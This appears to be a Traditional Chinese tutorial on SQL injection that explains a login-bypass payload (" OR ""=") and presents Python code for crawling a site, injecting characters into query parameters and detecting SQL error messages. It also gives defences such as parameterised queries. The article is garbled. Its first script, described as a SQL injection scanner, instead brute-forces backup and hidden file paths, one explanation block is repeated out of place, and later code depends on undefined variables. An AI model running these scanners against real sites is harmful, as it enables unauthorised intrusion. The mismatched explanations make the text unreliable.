SQL Injection 攻擊手法雖然存在已久,但至今仍是 Web 應用程式的主要安全風險。由於許多應用程式仍然使用動態生成的 SQL 查詢,且未妥善過濾使用者輸入,導致攻擊者有機可乘。攻擊者可藉由注入惡意 SQL 陳述式,操控資料函式庫查詢邏輯,竊取敏感資料、竄改資料函式庫內容,甚至取得伺服器控制權。因此,定期使用自動化掃描工具檢測網站是否存在 SQL Injection 漏洞至關重要。本文提供的 Python 範例程式碼,結合網頁爬蟲和攻擊模組,能自動爬取網頁連結,並針對每個連結進行 SQL 注入測試。程式碼中使用 BeautifulSoup 解析 HTML 內容,提取連結,並利用 requests 模組傳送 HTTP 請求,模擬攻擊行為。此外,程式碼也包含錯誤檢測機制,藉由分析伺服器回應,判斷攻擊是否成功。
SQL Injection 入侵威脅與自動化掃描工具
SQL Injection(SQL 注入)被許多人認為是過去的威脅,但根據OWASP Top Ten最新資料顯示,SQL Injection仍然是網路應用程式中最嚴重的安全風險之一。根據2019年的CVEs(通用漏洞和暴露)資料,共有394個與SQL Injection相關的漏洞被記錄。從Anonymous和LulzSec等駭客組織的攻擊中可以看到,SQL Injection仍然是一個現實且嚴重的威脅。這些攻擊者利用SQL Injection成功入侵了各大知名企業和政府機構,如Sony、PlayStation Network等。因此,搭建一個自動化的掃描工具來定期檢查自己的網站是否存在這類別漏洞是非常必要的。
什麼是SQL Injection?
SQL Injection 是一種常見的網路攻擊手法,攻擊者利用未經過濾和處理的輸入資料來影回應用程式的後端資料函式庫。現代網頁應用程式通常是動態生成內容的,這意味著它們會根據使用者的輸入來生成相應的HTML頁面。這些輸入通常透過URL(GET請求)或表單(POST請求)傳遞。
以下是一個典型的SQL Injection攻擊過程:
- 使用者輸入:使用者在表單或URL中輸入資料。
- 生成SQL指令:應用程式將這些輸入資料直接插入到SQL查詢中。
- 執行查詢:資料函式庫執行這些查詢,並傳回結果。
SQL Injection攻擊範例
假設有一個簡單的登入系統,其SQL查詢如下:
SELECT COUNT(*) FROM auth WHERE username="hans" AND password="wurst"
如果使用者名稱和密碼沒有經過濾和處理,攻擊者可以輸入:
- 使用者名稱:
" OR ""=" - 密碼:
" OR ""="
這樣,資料函式庫會接收到以下查詢:
SELECT COUNT(*) FROM auth WHERE username="" OR ""="" AND password="" OR ""=""
由於空字串等於空字串總是為真,這個查詢總是會傳回真值,讓攻擊者無需任何有效的使用者名稱或密碼即可成功登入。這就是著名的“Open sesame”技巧。
SQL Injection防範措施
為了防止SQL Injection攻擊,開發者應該採取以下措施:
- 避免直接拼接SQL查詢:使用引數化查詢或準備好的陳述式來確保所有輸入資料都被正確處理。
- 驗證和清理輸入資料:對所有使用者輸入進行嚴格驗證和清理,移除或轉義特殊字元。
- 限制錯誤訊息:避免在錯誤訊息中洩漏詳細資訊,以防止攻擊者利用這些資訊進行進一步攻擊。
- 使用安全函式庫:選擇那些內建防止SQL Injection的資料函式庫連線函式庫。
自動化掃描工具範例
以下是一個簡單的Python自動化掃描工具範例,這個工具可以幫助你檢測網站是否存在常見的SQL Injection漏洞。
#!/usr/bin/env python3
import sys
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
def usage():
print("Usage: script.py -u <url> -q <query_file> [-p <port>] [-f]")
sys.exit(1)
def surf(url, query):
response = requests.get(url)
if response.status_code == 200:
print(f"[+] Success: {query}")
else:
print(f"[-] Failed: {query}")
if __name__ == "__main__":
host = None
port = "80"
query_file = None
file_mode = False
opt = sys.argv[1:]
i = 0
while i < len(opt):
if opt[i] == "-u":
host = opt[i + 1]
elif opt[i] == "-q":
query_file = opt[i + 1]
elif opt[i] == "-p":
port = opt[i + 1]
elif opt[i] == "-f":
file_mode = True
i += 2
if not host or not query_file:
usage()
url = f"http://{host}"
if port != "80":
url = f"http://{host}:{port}"
salts = ('~', '~1', '.bak', '.bak_', '.old', '.orig', '_backup')
for query in open(query_file):
query = query.strip("\n")
for dir_sep in ('/', '//', '/test/../'):
url_path = f"{url}{dir_sep}{query}"
if file_mode:
for salt in salts:
full_url_path = f"{url_path}{salt}"
surf(full_url_path, f"{dir_sep}{query}{salt}")
else:
surf(url_path, f"{dir_sep}{query}")
內容解密:
- 載入模組:該指令碼首先載入必要的Python模組,包括
sys、requests、BeautifulSoup和urlparse。 - 全域變數設定:設定一些全域變數來儲存URL、查詢檔案路徑及其他選項。
- 命令列引數處理:處理命令列引數以設定主機、埠、查詢檔案及其他選項。
- URL構建:根據命令列引數構建完整的URL。
- 查詢檔案處理:讀取查詢檔案並對每個查詢進行處理。
- 目錄分隔符處理:為每個查詢新增不同的目錄分隔符以測試不同路徑。
- 檔案模式處理:如果啟用了檔案模式,則為每個查詢新增不同的字尾以測試檔名漏洞。
- 請求傳送:使用
requests函式庫傳送HTTP GET請求並檢查回應狀態碼。
內容解密:
- 使用者輸入:使用者在表單或URL中輸入資料。
- 生成SQL指令:應用程式將這些輸入資料直接插入到SQL查詢中。
- 執行查詢:資料函式庫執行這些查詢。
- 傳回結果:根據查詢結果傳回相應內容。
- 潛在漏洞:如果未經過濾和處理,可能會導致安全漏洞。
應用程式安全:解析與探索 SQL 注入攻擊
基本概念與架構
在現代網路安全中,SQL 注入攻擊是一種常見且危險的威脅。這類別攻擊通常利用應用程式中的漏洞,將惡意的 SQL 陳述式注入到應用程式的查詢中,從而獲得未經授權的存取許可權或破壞資料函式庫。本文將探討一個簡單的 SQL 注入工具,並解析其核心邏輯與實作細節。
工具核心:網頁爬蟲
這個工具的核心是一個網頁爬蟲(web spider),它能夠從網頁伺服器讀取 HTML 頁面,使用 BeautifulSoup 模組解析頁面內容,並提取所有的連結。這些連結會被進一步分析,以確定是否存在可被攻擊的漏洞。
def spider(base_url, url):
if len(known_url) >= max_urls:
return None
if url:
p_url = urlparse(url)
if not known_url.get(url) and p_url.hostname == base_url.hostname:
try:
sys.stdout.write(".")
sys.stdout.flush()
known_url[url] = True
r = requests.get(url)
if r.status_code == 200:
if "?" in url:
attack_urls.append(url)
soup = BeautifulSoup(r.content, features="html.parser")
for tag in soup('a'):
spider(base_url, get_abs_url(base_url, tag.get('href')))
except requests.exceptions.ConnectionError as e:
print("Got error for " + url + ": " + str(e))
內容解密:
這段程式碼定義了一個爬蟲函式 spider,它負責從給定的 URL 開始爬取網頁,並提取所有的連結。以下是詳細解說:
-
引數與初始檢查:
base_url:起始 URL 的解析結果。url:當前要爬取的 URL。- 首先檢查已知 URL 的數量是否超過設定的最大值
max_urls。
-
URL 解析與檢查:
- 使用
urlparse函式解析 URL。 - 檢查 URL 是否已經被存取過,並且主機名是否與起始 URL 一致。
- 使用
-
請求與解析:
- 傳送 GET 請求取得 HTML 內容。
- 檢查回應狀態碼是否為 200(成功)。
- 如果 URL 包含查詢引數(即包含
?),則將其加入待攻擊 URL 清單。 - 使用 BeautifulSoup 解析 HTML 內容,提取所有
<a>標籤中的連結,並遞迴呼叫spider函式進行進一步爬取。
攻擊機制
在提取到所有可能的連結後,工具會遍歷每個連結,並對其進行 SQL 注入攻擊。具體來說,工具會將一些常見的 SQL 注入字元新增到 URL 的查詢引數中,然後觀察伺服器的反應。
def attack(url):
p_url = urlparse(url)
if not p_url.query in already_attacked.get(p_url.path, []):
already_attacked.setdefault(p_url.path, []).append(p_url.query)
try:
sys.stdout.write("\nAttack " + url)
sys.stdout.flush()
r = requests.get(url)
for param_value in p_url.query.split("&"):
param, value = param_value.split("=")
for inject in inject_chars:
a_url = p_url.scheme + "://" + \
p_url.hostname + p_url.path + \
"?" + param + "=" + inject
sys.stdout.write(" . ")
sys.stdout.flush()
a = requests.get(a_url)
if r.content != a.content:
print("\nGot different content " +
"for " + a_url)
print("Checking for exception output")
if found_error(a.content):
print("Attack was successful!")
except requests.exceptions.ConnectionError:
pass
內容解密:
這段程式碼定義了一個攻擊函式 attack,它負責對每個可疑 URL 進行 SQL 注入攻擊。以下是詳細解說:
-
URL 解析與檢查:
- 使用
urlparse函式解析 URL。 - 檢查該 URL 是否已經被攻擊過。
- 使用
-
傳送請求與注入字元:
- 對每個查詢引數進行迭代。
- 對每個引數新增預定義的 SQL 注入字元。
- 對修改後的 URL 再次傳送 GET 請求。
-
結果比較與錯誤檢測:
- 比較原始請求和修改後請求的回應內容。
- 若回應內容不同,則表示可能存在漏洞。
- 輸出錯誤資訊並檢測是否成功進行了 SQL 注入。
錯誤檢測
為了確認攻擊是否成功,工具會檢查回應中的錯誤資訊。這些錯誤資訊通常包含一些關鍵字,如「syntax error」或「SQL error」。
def found_error(content):
got_error = False
for msg in error_msgs:
if msg in content.lower():
got_error = True
return got_error
內容解密:
這段程式碼定義了一個錯誤檢測函式 found_error,它負責檢查回應內容中是否包含某些錯誤資訊。以下是詳細解說:
-
引數與初始化:
content:回應內容。got_error:布林變數,初始值為 False。
-
錯誤資訊比較:
- 對預定義的錯誤資訊清單進行迭代。
- 檢查回應內容中是否包含這些錯誤資訊。
- 若找到任何一個錯誤資訊,則設定
got_error諧 True。
-
傳回結果:
- 傳回布林值
got_error。
- 傳回布林值
工具執行流程
工具的主要執行流程如下:
- 接收起始 URL 作為輸入引數。
- 啟動爬蟲函式
spider對起始 URL進行爬取。 - 提取所有可能的連結並進行SQL注入攻擊。
- 檢查每次攻擊的結果,並判斷是否成功。
if len(sys.argv) < 2:
print(sys.argv[0] + ": <url>")
sys.exit(1)
start_url = sys.argv[1]
base_url = urlparse(start_url)
sys.stdout.write("Spidering ")
spider(base_url, start_url)
sys.stdout.write(" Done.\n")
for url in attack_urls:
attack(url)